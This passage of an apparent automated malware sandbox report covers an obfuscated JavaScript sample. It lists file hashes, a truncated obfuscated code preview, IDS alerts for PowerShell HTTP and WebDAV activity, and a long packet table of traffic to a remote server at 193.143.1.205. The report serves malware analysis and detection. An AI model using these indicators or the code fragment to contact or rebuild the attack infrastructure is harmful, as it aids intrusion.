Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17267), with CRLF line terminators
Entropy (8bit):	4.904624508497408
TrID:
File name:	17048156412338914445.js
File size:	20'643 bytes
MD5:	4897cf69a2eb2cd30564a1ec5728f6f7
SHA1:	48cefcf5c657594646f8def11d8376ae8caea709
SHA256:	67ef1c9c1ec535a7be80b7013953c6a3700b29afa580e4d9b6aff90202710b9c
SHA512:	088cf116c0db123a914f66040738a4e4bfd3d1f87c8a34717388891795daf2d32b467e5de024e6e9c71d4ae75b4b5ab614f7850e625a5bf30ddfc1bf15c915d0
SSDEEP:	384:Z/+FGv6RFCcXiI+F0wxXQn2JqxNWmNal6sDTgGVb6UK9VIn9PYasvMMPqcbH603Y:Z/+Yv6R0R0wx22JqxNWmNM6wVjacRfYK
TLSH:	049296C66E04B1D32FF50AB1C5EA0897157F8A484ED8E9440C96F59A6314FBC96F703E
File Content Preview:	function fsrvcmopx(){xtbivrweg=[1031,3079,5127,4103,2055,3072];var abqblij=this[gqslp+cfqkh+rrppwyuu+fgnwy+dltiw+cfjpjap+pucmmhe+faoubrco](this[scmfnwngp+otrgkd+oubinamep+rrppwyuu+dmyykq+gqslp+faoubrco][fupvebl+rrppwyuu+dltiw+cfqkh+faoubrco+dltiw+luitz+ml

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T18:14:14.736975+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	61210	193.143.1.205	80	TCP
2025-01-10T18:14:16.916879+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	61226	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:14:01.518522978 CET	61136	53	192.168.2.6	1.1.1.1
Jan 10, 2025 18:14:01.523390055 CET	53	61136	1.1.1.1	192.168.2.6
Jan 10, 2025 18:14:01.523452997 CET	61136	53	192.168.2.6	1.1.1.1
Jan 10, 2025 18:14:01.528775930 CET	53	61136	1.1.1.1	192.168.2.6
Jan 10, 2025 18:14:02.010644913 CET	61136	53	192.168.2.6	1.1.1.1
Jan 10, 2025 18:14:02.020783901 CET	61136	53	192.168.2.6	1.1.1.1
Jan 10, 2025 18:14:02.025851011 CET	53	61136	1.1.1.1	192.168.2.6
Jan 10, 2025 18:14:02.025937080 CET	61136	53	192.168.2.6	1.1.1.1
Jan 10, 2025 18:14:13.953917027 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:13.958781958 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:13.958842039 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:13.963304043 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:13.968063116 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.736895084 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.736915112 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.736928940 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.736952066 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.736964941 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.736974955 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.736991882 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.737005949 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.737019062 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.737019062 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.737031937 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.737036943 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.737046003 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.737068892 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.737082005 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.741986036 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.742003918 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.742017984 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.742055893 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.779652119 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.779666901 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.779680014 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.779747963 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.779783964 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.860940933 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.860955954 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.860966921 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.860979080 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.860992908 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.861002922 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.861072063 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.861162901 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.861226082 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.861260891 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.861465931 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.861478090 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.861489058 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.861520052 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.861548901 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.861901999 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.861913919 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.861924887 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.861951113 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.862251997 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.862263918 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.862276077 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.862298965 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.862308025 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.862313986 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.862319946 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.862333059 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.862365961 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.863269091 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.863280058 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.863328934 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.866329908 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.866352081 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.866364002 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.866398096 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.866427898 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.949583054 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.949596882 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.949618101 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.949628115 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.949645996 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.949707031 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.985037088 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.985065937 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.985085964 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.985099077 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.985111952 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.985157013 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.985306978 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.985321999 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.985348940 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.985361099 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.985364914 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.985374928 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.985384941 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.985414982 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.985754967 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.985769033 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.985790014 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.985802889 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.985815048 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.985822916 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.985827923 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.985833883 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.985857010 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.985862970 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.985869884 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.985883951 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.985910892 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.986778021 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.986793041 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.986804008 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.986816883 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.986826897 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.986829996 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.986841917 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.986854076 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.986854076 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.986866951 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.986884117 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.986906052 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.987428904 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.987447977 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.987459898 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.987472057 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.987473965 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.987488031 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.987502098 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.987514019 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.987514019 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.987525940 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.987539053 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.987543106 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.987565041 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.987587929 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.988327026 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.988339901 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.988352060 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.988372087 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.988384962 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.988399982 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.988406897 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.988414049 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.988428116 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:14.988435984 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.988461018 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:14.988471985 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.036370993 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.073450089 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.073478937 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.073507071 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.073524952 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.073538065 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.073545933 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.073601007 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.108742952 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.108782053 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.108797073 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.108825922 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.108843088 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.108850956 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.108859062 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.108889103 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.108912945 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.109024048 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.109082937 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.109129906 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.109169960 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.109179974 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.109186888 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.109205008 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.109211922 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.109251022 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.109364033 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.109409094 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.109435081 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.109481096 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.109488010 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.109507084 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.109525919 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.109536886 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.109555960 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.109572887 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.109572887 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.109618902 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.109926939 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.109945059 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.109962940 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.109981060 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.109994888 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.110022068 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.110059023 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.110111952 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.110145092 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.110162020 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.110162020 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.110177994 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.110224962 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.110343933 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.110431910 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.110447884 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.110459089 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.110480070 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.110495090 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.110522985 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.110528946 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.110544920 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.110552073 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.110563040 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.110579014 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.110580921 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.110599041 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.110629082 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.111049891 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.111078978 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.111097097 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.111113071 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.111125946 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.111129999 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.111157894 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.111160040 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.111176014 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.111179113 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.111191988 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.111222982 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.111238956 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.111239910 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.111258030 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.111268997 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.111274004 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.111291885 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.111299038 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.111309052 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.111337900 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.111340046 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.111397028 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.112037897 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.112066984 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.112093925 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.112108946 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.112113953 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.112128019 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.112154961 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.112162113 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.112174034 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.112200975 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.112204075 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.112219095 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.112235069 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.112247944 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.112251997 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.112267017 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.112276077 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.112286091 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.112329960 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.113694906 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.113713026 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.113730907 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.113760948 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.113789082 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.115134954 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.123018980 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.123038054 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.123120070 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.130381107 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.160137892 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.160161972 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.160192966 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.160223007 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.160232067 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.160238981 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.160258055 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.160285950 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.160286903 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.160301924 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.160312891 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.160316944 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.160334110 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.160352945 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.160360098 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.160360098 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.160377026 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.160388947 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.160409927 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.195590973 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.195611000 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.195627928 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.195646048 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.195703983 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.195709944 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.195720911 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.195739031 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.195755005 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.195758104 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.195771933 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.195775986 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.195816040 CET	61210	80	192.168.2.6	193.143.1.205
